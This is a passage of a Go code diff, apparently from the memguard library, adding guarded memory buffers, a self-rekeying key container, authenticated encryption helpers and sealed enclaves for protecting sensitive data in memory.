||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]uint64)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Int8 returns a slice pointing to the protected region of memory with the data represented as a sequence of signed 8 bit integers. If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Int8() []int8 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), b.Size(), b.Size()}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]int8)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Int16 returns a slice pointing to the protected region of memory with the data represented as a sequence of signed 16 bit integers. Its length will be half that of the byte slice, excluding any remaining part that doesn't form a complete int16 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Int16() []int16 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 2
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]int16)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Int32 returns a slice pointing to the protected region of memory with the data represented as a sequence of signed 32 bit integers. Its length will be one quarter that of the byte slice, excluding any remaining part that doesn't form a complete int32 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Int32() []int32 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 4
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]int32)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
Int64 returns a slice pointing to the protected region of memory with the data represented as a sequence of signed 64 bit integers. Its length will be one eighth that of the byte slice, excluding any remaining part that doesn't form a complete int64 value.
|
||||
|
||||
If called on a destroyed LockedBuffer, a nil slice will be returned.
|
||||
*/
|
||||
func (b *LockedBuffer) Int64() []int64 {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Compute size of new slice representation.
|
||||
size := b.Size() / 8
|
||||
if size < 1 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Construct the new slice representation.
|
||||
var sl = struct {
|
||||
addr uintptr
|
||||
len int
|
||||
cap int
|
||||
}{uintptr(unsafe.Pointer(&b.Bytes()[0])), size, size}
|
||||
|
||||
// Cast the representation to the correct type and return it.
|
||||
return *(*[]int64)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
||||
/*
|
||||
ByteArray8 returns a pointer to some 8 byte array. Care must be taken not to dereference the pointer and instead pass it around as-is.
|
||||
|
||||
The length of the buffer must be at least 8 bytes in size and the LockedBuffer should not be destroyed. In either of these cases a nil value is returned.
|
||||
*/
|
||||
func (b *LockedBuffer) ByteArray8() *[8]byte {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Check if the length is large enough.
|
||||
if len(b.Bytes()) < 8 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cast the representation to the correct type.
|
||||
return (*[8]byte)(unsafe.Pointer(&b.Bytes()[0]))
|
||||
}
|
||||
|
||||
/*
|
||||
ByteArray16 returns a pointer to some 16 byte array. Care must be taken not to dereference the pointer and instead pass it around as-is.
|
||||
|
||||
The length of the buffer must be at least 16 bytes in size and the LockedBuffer should not be destroyed. In either of these cases a nil value is returned.
|
||||
*/
|
||||
func (b *LockedBuffer) ByteArray16() *[16]byte {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Check if the length is large enough.
|
||||
if len(b.Bytes()) < 16 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cast the representation to the correct type.
|
||||
return (*[16]byte)(unsafe.Pointer(&b.Bytes()[0]))
|
||||
}
|
||||
|
||||
/*
|
||||
ByteArray32 returns a pointer to some 32 byte array. Care must be taken not to dereference the pointer and instead pass it around as-is.
|
||||
|
||||
The length of the buffer must be at least 32 bytes in size and the LockedBuffer should not be destroyed. In either of these cases a nil value is returned.
|
||||
*/
|
||||
func (b *LockedBuffer) ByteArray32() *[32]byte {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Check if the length is large enough.
|
||||
if len(b.Bytes()) < 32 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cast the representation to the correct type.
|
||||
return (*[32]byte)(unsafe.Pointer(&b.Bytes()[0]))
|
||||
}
|
||||
|
||||
/*
|
||||
ByteArray64 returns a pointer to some 64 byte array. Care must be taken not to dereference the pointer and instead pass it around as-is.
|
||||
|
||||
The length of the buffer must be at least 64 bytes in size and the LockedBuffer should not be destroyed. In either of these cases a nil value is returned.
|
||||
*/
|
||||
func (b *LockedBuffer) ByteArray64() *[64]byte {
|
||||
|
||||
// Check if still alive.
|
||||
if !b.Buffer.Alive() {
|
||||
return nil
|
||||
}
|
||||
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
|
||||
// Check if the length is large enough.
|
||||
if len(b.Bytes()) < 64 {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Cast the representation to the correct type.
|
||||
return (*[64]byte)(unsafe.Pointer(&b.Bytes()[0]))
|
||||
}
|
||||
|
|
@ -0,0 +1,23 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"os"
|
||||
"reflect"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
// Ascertain and store the system memory page size.
|
||||
pageSize = os.Getpagesize()
|
||||
)
|
||||
|
||||
// Round a length to a multiple of the system page size.
|
||||
func roundToPageSize(length int) int {
|
||||
return (length + (pageSize - 1)) & (^(pageSize - 1))
|
||||
}
|
||||
|
||||
// Convert a pointer and length to a byte slice that describes that memory.
|
||||
func getBytes(ptr *byte, len int) []byte {
|
||||
var sl = reflect.SliceHeader{Data: uintptr(unsafe.Pointer(ptr)), Len: len, Cap: len}
|
||||
return *(*[]byte)(unsafe.Pointer(&sl))
|
||||
}
|
||||
|
|
@ -0,0 +1,317 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
"github.com/awnumar/memcall"
|
||||
)
|
||||
|
||||
var (
|
||||
buffers = new(bufferList)
|
||||
)
|
||||
|
||||
// ErrNullBuffer is returned when attempting to construct a buffer of size less than one.
|
||||
var ErrNullBuffer = errors.New("<memguard::core::ErrNullBuffer> buffer size must be greater than zero")
|
||||
|
||||
// ErrBufferExpired is returned when attempting to perform an operation on or with a buffer that has been destroyed.
|
||||
var ErrBufferExpired = errors.New("<memguard::core::ErrBufferExpired> buffer has been purged from memory and can no longer be used")
|
||||
|
||||
/*
|
||||
Buffer is a structure that holds raw sensitive data.
|
||||
|
||||
The number of Buffers that can exist at one time is limited by how much memory your system's kernel allows each process to mlock/VirtualLock. Therefore you should call DestroyBuffer on Buffers that you no longer need, ideally defering a Destroy call after creating a new one.
|
||||
*/
|
||||
type Buffer struct {
|
||||
sync.RWMutex // Local mutex lock // TODO: this does not protect 'data' field
|
||||
|
||||
alive bool // Signals that destruction has not come
|
||||
mutable bool // Mutability state of underlying memory
|
||||
|
||||
data []byte // Portion of memory holding the data
|
||||
memory []byte // Entire allocated memory region
|
||||
|
||||
preguard []byte // Guard page addressed before the data
|
||||
inner []byte // Inner region between the guard pages
|
||||
postguard []byte // Guard page addressed after the data
|
||||
|
||||
canary []byte // Value written behind data to detect spillage
|
||||
}
|
||||
|
||||
/*
|
||||
NewBuffer is a raw constructor for the Buffer object.
|
||||
*/
|
||||
func NewBuffer(size int) (*Buffer, error) {
|
||||
var err error
|
||||
|
||||
if size < 1 {
|
||||
return nil, ErrNullBuffer
|
||||
}
|
||||
|
||||
b := new(Buffer)
|
||||
|
||||
// Allocate the total needed memory
|
||||
innerLen := roundToPageSize(size)
|
||||
b.memory, err = memcall.Alloc((2 * pageSize) + innerLen)
|
||||
if err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
|
||||
// Construct slice reference for data buffer.
|
||||
b.data = getBytes(&b.memory[pageSize+innerLen-size], size)
|
||||
|
||||
// Construct slice references for page sectors.
|
||||
b.preguard = getBytes(&b.memory[0], pageSize)
|
||||
b.inner = getBytes(&b.memory[pageSize], innerLen)
|
||||
b.postguard = getBytes(&b.memory[pageSize+innerLen], pageSize)
|
||||
|
||||
// Construct slice reference for canary portion of inner page.
|
||||
b.canary = getBytes(&b.memory[pageSize], len(b.inner)-len(b.data))
|
||||
|
||||
// Lock the pages that will hold sensitive data.
|
||||
if err := memcall.Lock(b.inner); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
|
||||
// Initialise the canary value and reference regions.
|
||||
if err := Scramble(b.canary); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
Copy(b.preguard, b.canary)
|
||||
Copy(b.postguard, b.canary)
|
||||
|
||||
// Make the guard pages inaccessible.
|
||||
if err := memcall.Protect(b.preguard, memcall.NoAccess()); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
if err := memcall.Protect(b.postguard, memcall.NoAccess()); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
|
||||
// Set remaining properties
|
||||
b.alive = true
|
||||
b.mutable = true
|
||||
|
||||
// Append the container to list of active buffers.
|
||||
buffers.add(b)
|
||||
|
||||
// Return the created Buffer to the caller.
|
||||
return b, nil
|
||||
}
|
||||
|
||||
// Data returns a byte slice representing the memory region containing the data.
|
||||
func (b *Buffer) Data() []byte {
|
||||
return b.data
|
||||
}
|
||||
|
||||
// Inner returns a byte slice representing the entire inner memory pages. This should NOT be used unless you have a specific need.
|
||||
func (b *Buffer) Inner() []byte {
|
||||
return b.inner
|
||||
}
|
||||
|
||||
// Freeze makes the underlying memory of a given buffer immutable. This will do nothing if the Buffer has been destroyed.
|
||||
func (b *Buffer) Freeze() {
|
||||
if err := b.freeze(); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Buffer) freeze() error {
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
if !b.alive {
|
||||
return nil
|
||||
}
|
||||
|
||||
if b.mutable {
|
||||
if err := memcall.Protect(b.inner, memcall.ReadOnly()); err != nil {
|
||||
return err
|
||||
}
|
||||
b.mutable = false
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// Melt makes the underlying memory of a given buffer mutable. This will do nothing if the Buffer has been destroyed.
|
||||
func (b *Buffer) Melt() {
|
||||
if err := b.melt(); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Buffer) melt() error {
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
if !b.alive {
|
||||
return nil
|
||||
}
|
||||
|
||||
if !b.mutable {
|
||||
if err := memcall.Protect(b.inner, memcall.ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
b.mutable = true
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Scramble attempts to overwrite the data with cryptographically-secure random bytes.
|
||||
func (b *Buffer) Scramble() {
|
||||
if err := b.scramble(); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
func (b *Buffer) scramble() error {
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
return Scramble(b.Data())
|
||||
}
|
||||
|
||||
/*
|
||||
Destroy performs some security checks, securely wipes the contents of, and then releases a Buffer's memory back to the OS. If a security check fails, the process will attempt to wipe all it can before safely panicking.
|
||||
|
||||
If the Buffer has already been destroyed, the function does nothing and returns nil.
|
||||
*/
|
||||
func (b *Buffer) Destroy() {
|
||||
if err := b.destroy(); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
// Remove this one from global slice.
|
||||
buffers.remove(b)
|
||||
}
|
||||
|
||||
func (b *Buffer) destroy() error {
|
||||
if b == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Attain a mutex lock on this Buffer.
|
||||
b.Lock()
|
||||
defer b.Unlock()
|
||||
|
||||
// Return if it's already destroyed.
|
||||
if !b.alive {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Make all of the memory readable and writable.
|
||||
if err := memcall.Protect(b.memory, memcall.ReadWrite()); err != nil {
|
||||
return err
|
||||
}
|
||||
b.mutable = true
|
||||
|
||||
// Wipe data field.
|
||||
Wipe(b.data)
|
||||
|
||||
// Verify the canary
|
||||
if !Equal(b.preguard, b.postguard) || !Equal(b.preguard[:len(b.canary)], b.canary) {
|
||||
return errors.New("<memguard::core::buffer> canary verification failed; buffer overflow detected")
|
||||
}
|
||||
|
||||
// Wipe the memory.
|
||||
Wipe(b.memory)
|
||||
|
||||
// Unlock pages locked into memory.
|
||||
if err := memcall.Unlock(b.inner); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Free all related memory.
|
||||
if err := memcall.Free(b.memory); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Reset the fields.
|
||||
b.alive = false
|
||||
b.mutable = false
|
||||
b.data = nil
|
||||
b.memory = nil
|
||||
b.preguard = nil
|
||||
b.inner = nil
|
||||
b.postguard = nil
|
||||
b.canary = nil
|
||||
return nil
|
||||
}
|
||||
|
||||
// Alive returns true if the buffer has not been destroyed.
|
||||
func (b *Buffer) Alive() bool {
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
return b.alive
|
||||
}
|
||||
|
||||
// Mutable returns true if the buffer is mutable.
|
||||
func (b *Buffer) Mutable() bool {
|
||||
b.RLock()
|
||||
defer b.RUnlock()
|
||||
return b.mutable
|
||||
}
|
||||
|
||||
// BufferList stores a list of buffers in a thread-safe manner.
|
||||
type bufferList struct {
|
||||
sync.RWMutex
|
||||
list []*Buffer
|
||||
}
|
||||
|
||||
// Add appends a given Buffer to the list.
|
||||
func (l *bufferList) add(b ...*Buffer) {
|
||||
l.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
l.list = append(l.list, b...)
|
||||
}
|
||||
|
||||
// Copy returns an instantaneous snapshot of the list.
|
||||
func (l *bufferList) copy() []*Buffer {
|
||||
l.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
list := make([]*Buffer, len(l.list))
|
||||
copy(list, l.list)
|
||||
|
||||
return list
|
||||
}
|
||||
|
||||
// Remove removes a given Buffer from the list.
|
||||
func (l *bufferList) remove(b *Buffer) {
|
||||
l.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
for i, v := range l.list {
|
||||
if v == b {
|
||||
l.list = append(l.list[:i], l.list[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Exists checks if a given buffer is in the list.
|
||||
func (l *bufferList) exists(b *Buffer) bool {
|
||||
l.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
for _, v := range l.list {
|
||||
if b == v {
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// Flush clears the list and returns its previous contents.
|
||||
func (l *bufferList) flush() []*Buffer {
|
||||
l.Lock()
|
||||
defer l.Unlock()
|
||||
|
||||
list := make([]*Buffer, len(l.list))
|
||||
copy(list, l.list)
|
||||
|
||||
l.list = nil
|
||||
|
||||
return list
|
||||
}
|
||||
|
|
@ -0,0 +1,182 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// Interval of time between each verify & re-key cycle.
|
||||
const interval = 500 * time.Millisecond
|
||||
|
||||
// ErrCofferExpired is returned when a function attempts to perform an operation using a secure key container that has been wiped and destroyed.
|
||||
var ErrCofferExpired = errors.New("<memguard::core::ErrCofferExpired> attempted usage of destroyed key object")
|
||||
|
||||
/*
|
||||
Coffer is a specialized container for securing highly-sensitive, 32 byte values.
|
||||
*/
|
||||
type Coffer struct {
|
||||
sync.Mutex
|
||||
|
||||
left *Buffer
|
||||
right *Buffer
|
||||
|
||||
rand *Buffer
|
||||
}
|
||||
|
||||
// NewCoffer is a raw constructor for the *Coffer object.
|
||||
func NewCoffer() *Coffer {
|
||||
s := new(Coffer)
|
||||
s.left, _ = NewBuffer(32)
|
||||
s.right, _ = NewBuffer(32)
|
||||
s.rand, _ = NewBuffer(32)
|
||||
|
||||
s.Init()
|
||||
|
||||
go func(s *Coffer) {
|
||||
ticker := time.NewTicker(interval)
|
||||
|
||||
for range ticker.C {
|
||||
if err := s.Rekey(); err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}(s)
|
||||
|
||||
return s
|
||||
}
|
||||
|
||||
// Init is used to reset the value stored inside a Coffer to a new random 32 byte value, overwriting the old.
|
||||
func (s *Coffer) Init() error {
|
||||
if s.Destroyed() {
|
||||
return ErrCofferExpired
|
||||
}
|
||||
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
if err := Scramble(s.left.Data()); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := Scramble(s.right.Data()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// left = left XOR hash(right)
|
||||
hr := Hash(s.right.Data())
|
||||
for i := range hr {
|
||||
s.left.Data()[i] ^= hr[i]
|
||||
}
|
||||
Wipe(hr)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
View returns a snapshot of the contents of a Coffer inside a Buffer. As usual the Buffer should be destroyed as soon as possible after use by calling the Destroy method.
|
||||
*/
|
||||
func (s *Coffer) View() (*Buffer, error) {
|
||||
if s.Destroyed() {
|
||||
return nil, ErrCofferExpired
|
||||
}
|
||||
|
||||
b, _ := NewBuffer(32)
|
||||
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
// data = hash(right) XOR left
|
||||
h := Hash(s.right.Data())
|
||||
|
||||
for i := range b.Data() {
|
||||
b.Data()[i] = h[i] ^ s.left.Data()[i]
|
||||
}
|
||||
Wipe(h)
|
||||
|
||||
return b, nil
|
||||
}
|
||||
|
||||
/*
|
||||
Rekey is used to re-key a Coffer. Ideally this should be done at short, regular intervals.
|
||||
*/
|
||||
func (s *Coffer) Rekey() error {
|
||||
if s.Destroyed() {
|
||||
return ErrCofferExpired
|
||||
}
|
||||
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
if err := Scramble(s.rand.Data()); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// Hash the current right partition for later.
|
||||
hashRightCurrent := Hash(s.right.Data())
|
||||
|
||||
// new_right = current_right XOR buf32
|
||||
for i := range s.right.Data() {
|
||||
s.right.Data()[i] ^= s.rand.Data()[i]
|
||||
}
|
||||
|
||||
// new_left = current_left XOR hash(current_right) XOR hash(new_right)
|
||||
hashRightNew := Hash(s.right.Data())
|
||||
for i := range s.left.Data() {
|
||||
s.left.Data()[i] ^= hashRightCurrent[i] ^ hashRightNew[i]
|
||||
}
|
||||
Wipe(hashRightNew)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
/*
|
||||
Destroy wipes and cleans up all memory related to a Coffer object. Once this method has been called, the Coffer can no longer be used and a new one should be created instead.
|
||||
*/
|
||||
func (s *Coffer) Destroy() error {
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
err1 := s.left.destroy()
|
||||
if err1 == nil {
|
||||
buffers.remove(s.left)
|
||||
}
|
||||
err2 := s.right.destroy()
|
||||
if err2 == nil {
|
||||
buffers.remove(s.right)
|
||||
}
|
||||
err3 := s.rand.destroy()
|
||||
if err3 == nil {
|
||||
buffers.remove(s.rand)
|
||||
}
|
||||
|
||||
errS := ""
|
||||
if err1 != nil {
|
||||
errS = errS + err1.Error() + "\n"
|
||||
}
|
||||
if err2 != nil {
|
||||
errS = errS + err2.Error() + "\n"
|
||||
}
|
||||
if err3 != nil {
|
||||
errS = errS + err3.Error() + "\n"
|
||||
}
|
||||
if errS == "" {
|
||||
return nil
|
||||
}
|
||||
return errors.New(errS)
|
||||
}
|
||||
|
||||
// Destroyed returns a boolean value indicating if a Coffer has been destroyed.
|
||||
func (s *Coffer) Destroyed() bool {
|
||||
if s == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
s.Lock()
|
||||
defer s.Unlock()
|
||||
|
||||
if s.left == nil || s.right == nil {
|
||||
return true
|
||||
}
|
||||
|
||||
return s.left.data == nil || s.right.data == nil
|
||||
}
|
||||
|
|
@ -0,0 +1,131 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"crypto/subtle"
|
||||
"errors"
|
||||
"runtime"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/crypto/blake2b"
|
||||
"golang.org/x/crypto/nacl/secretbox"
|
||||
)
|
||||
|
||||
// Overhead is the size by which the ciphertext exceeds the plaintext.
|
||||
const Overhead int = secretbox.Overhead + 24 // auth + nonce
|
||||
|
||||
// ErrInvalidKeyLength is returned when attempting to encrypt or decrypt with a key that is not exactly 32 bytes in size.
|
||||
var ErrInvalidKeyLength = errors.New("<memguard::core::ErrInvalidKeyLength> key must be exactly 32 bytes")
|
||||
|
||||
// ErrBufferTooSmall is returned when the decryption function, Open, is given an output buffer that is too small to hold the plaintext. In practice the plaintext will be Overhead bytes smaller than the ciphertext returned by the encryption function, Seal.
|
||||
var ErrBufferTooSmall = errors.New("<memguard::core::ErrBufferTooSmall> the given buffer is too small to hold the plaintext")
|
||||
|
||||
// ErrDecryptionFailed is returned when the attempted decryption fails. This can occur if the given key is incorrect or if the ciphertext is invalid.
|
||||
var ErrDecryptionFailed = errors.New("<memguard::core::ErrDecryptionFailed> decryption failed: key is wrong or ciphertext is corrupt")
|
||||
|
||||
// Encrypt takes a plaintext message and a 32 byte key and returns an authenticated ciphertext.
|
||||
func Encrypt(plaintext, key []byte) ([]byte, error) {
|
||||
// Check the length of the key is correct.
|
||||
if len(key) != 32 {
|
||||
return nil, ErrInvalidKeyLength
|
||||
}
|
||||
|
||||
// Get a reference to the key's underlying array without making a copy.
|
||||
k := (*[32]byte)(unsafe.Pointer(&key[0]))
|
||||
|
||||
// Allocate space for and generate a nonce value.
|
||||
var nonce [24]byte
|
||||
if err := Scramble(nonce[:]); err != nil {
|
||||
Panic(err)
|
||||
}
|
||||
|
||||
// Encrypt m and return the result.
|
||||
return secretbox.Seal(nonce[:], plaintext, &nonce, k), nil
|
||||
}
|
||||
|
||||
/*
|
||||
Decrypt decrypts a given ciphertext with a given 32 byte key and writes the result to the start of a given buffer.
|
||||
|
||||
The buffer must be large enough to contain the decrypted data. This is in practice Overhead bytes less than the length of the ciphertext returned by the Seal function above. This value is the size of the nonce plus the size of the Poly1305 authenticator.
|
||||
|
||||
The size of the decrypted data is returned.
|
||||
*/
|
||||
func Decrypt(ciphertext, key []byte, output []byte) (int, error) {
|
||||
// Check the length of the key is correct.
|
||||
if len(key) != 32 {
|
||||
return 0, ErrInvalidKeyLength
|
||||
}
|
||||
|
||||
// Check the capacity of the given output buffer.
|
||||
if cap(output) < (len(ciphertext) - Overhead) {
|
||||
return 0, ErrBufferTooSmall
|
||||
}
|
||||
|
||||
// Get a reference to the key's underlying array without making a copy.
|
||||
k := (*[32]byte)(unsafe.Pointer(&key[0]))
|
||||
|
||||
// Retrieve and store the nonce value.
|
||||
var nonce [24]byte
|
||||
Copy(nonce[:], ciphertext[:24])
|
||||
|
||||
// Decrypt and return the result.
|
||||
m, ok := secretbox.Open(nil, ciphertext[24:], &nonce, k)
|
||||
if ok { // Decryption successful.
|
||||
Move(output[:cap(output)], m) // Move plaintext to given output buffer.
|
||||
return len(m), nil // Return length of decrypted plaintext.
|
||||
}
|
||||
|
||||
// Decryption unsuccessful. Either the key was wrong or the authentication failed.
|
||||
return 0, ErrDecryptionFailed
|
||||
}
|
||||
|
||||
// Hash implements a cryptographic hash function using Blake2b.
|
||||
func Hash(b []byte) []byte {
|
||||
h := blake2b.Sum256(b)
|
||||
return h[:]
|
||||
}
|
||||
|
||||
// Scramble fills a given buffer with cryptographically-secure random bytes.
|
||||
func Scramble(buf []byte) error {
|
||||
if _, err := rand.Read(buf); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// See Wipe
|
||||
runtime.KeepAlive(buf)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wipe takes a buffer and wipes it with zeroes.
|
||||
func Wipe(buf []byte) {
|
||||
for i := range buf {
|
||||
buf[i] = 0
|
||||
}
|
||||
|
||||
// This should keep buf's backing array live and thus prevent dead store
|
||||
// elimination, according to discussion at
|
||||
// https://github.com/golang/go/issues/33325 .
|
||||
runtime.KeepAlive(buf)
|
||||
}
|
||||
|
||||
// Copy is identical to Go's builtin copy function except the copying is done in constant time. This is to mitigate against side-channel attacks.
|
||||
func Copy(dst, src []byte) {
|
||||
if len(dst) > len(src) {
|
||||
subtle.ConstantTimeCopy(1, dst[:len(src)], src)
|
||||
} else if len(dst) < len(src) {
|
||||
subtle.ConstantTimeCopy(1, dst, src[:len(dst)])
|
||||
} else {
|
||||
subtle.ConstantTimeCopy(1, dst, src)
|
||||
}
|
||||
}
|
||||
|
||||
// Move is identical to Copy except it wipes the source buffer after the copy operation is executed.
|
||||
func Move(dst, src []byte) {
|
||||
Copy(dst, src)
|
||||
Wipe(src)
|
||||
}
|
||||
|
||||
// Equal does a constant-time comparison of two byte slices. This is to mitigate against side-channel attacks.
|
||||
func Equal(x, y []byte) bool {
|
||||
return subtle.ConstantTimeCompare(x, y) == 1
|
||||
}
|
||||
|
|
@ -0,0 +1,138 @@
|
|||
package core
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
key = &Coffer{}
|
||||
keyMtx = sync.Mutex{}
|
||||
)
|
||||
|
||||
func getOrCreateKey() *Coffer {
|
||||
keyMtx.Lock()
|
||||
defer keyMtx.Unlock()
|
||||
|
||||
if key.Destroyed() {
|
||||
key = NewCoffer()
|
||||
}
|
||||
|
||||
return key
|
||||
}
|
||||
|
||||
func getKey() *Coffer {
|
||||
keyMtx.Lock()
|
||||
defer keyMtx.Unlock()
|
||||
|
||||
return key
|
||||
}
|
||||
|
||||
// ErrNullEnclave is returned when attempting to construct an enclave of size less than one.
|
||||
var ErrNullEnclave = errors.New("<memguard::core::ErrNullEnclave> enclave size must be greater than zero")
|
||||
|
||||
/*
|
||||
Enclave is a sealed and encrypted container for sensitive data.
|
||||
*/
|
||||
type Enclave struct {
|
||||
ciphertext []byte
|
||||
}
|
||||
|
||||
/*
|
||||
NewEnclave is a raw constructor for the Enclave object. The given buffer is wiped after the enclave is created.
|
||||
*/
|
||||
func NewEnclave(buf []byte) (*Enclave, error) {
|
||||
// Return an error if length < 1.
|
||||
if len(buf) < 1 {
|
||||
return nil, ErrNullEnclave
|
||||
}
|
||||
|
||||
// Create a new Enclave.
|
||||
e := new(Enclave)
|
||||
|
||||
// Get a view of the key.
|
||||
k, err := getOrCreateKey().View()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Encrypt the plaintext.
|
||||
e.ciphertext, err = Encrypt(buf, k.Data())
|
||||
if err != nil {
|
||||
Panic(err) // key is not 32 bytes long
|
||||
}
|
||||
|
||||
// Destroy our copy of the key.
|
||||
k.Destroy()
|
||||
|
||||
// Wipe the given buffer.
|
||||
Wipe(buf)
|
||||
|
||||
return e, nil
|
||||
}
|
||||
|
||||
/*
|
||||
Seal consumes a given Buffer object and returns its data secured and encrypted inside an Enclave. The given Buffer is destroyed after the Enclave is created.
|
||||
*/
|
||||
func Seal(b *Buffer) (*Enclave, error) {
|
||||
// Check if the Buffer has been destroyed.
|
||||
if !b.Alive() {
|
||||
return nil, ErrBufferExpired
|
||||
}
|
||||
|
||||
b.Melt() // Make the buffer mutable so that we can wipe it.
|
||||
|
||||
// Construct the Enclave from the Buffer's data.
|
||||
e, err := func() (*Enclave, error) {
|
||||
b.RLock() // Attain a read lock.
|
||||
defer b.RUnlock()
|
||||
return NewEnclave(b.Data())
|
||||
}()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
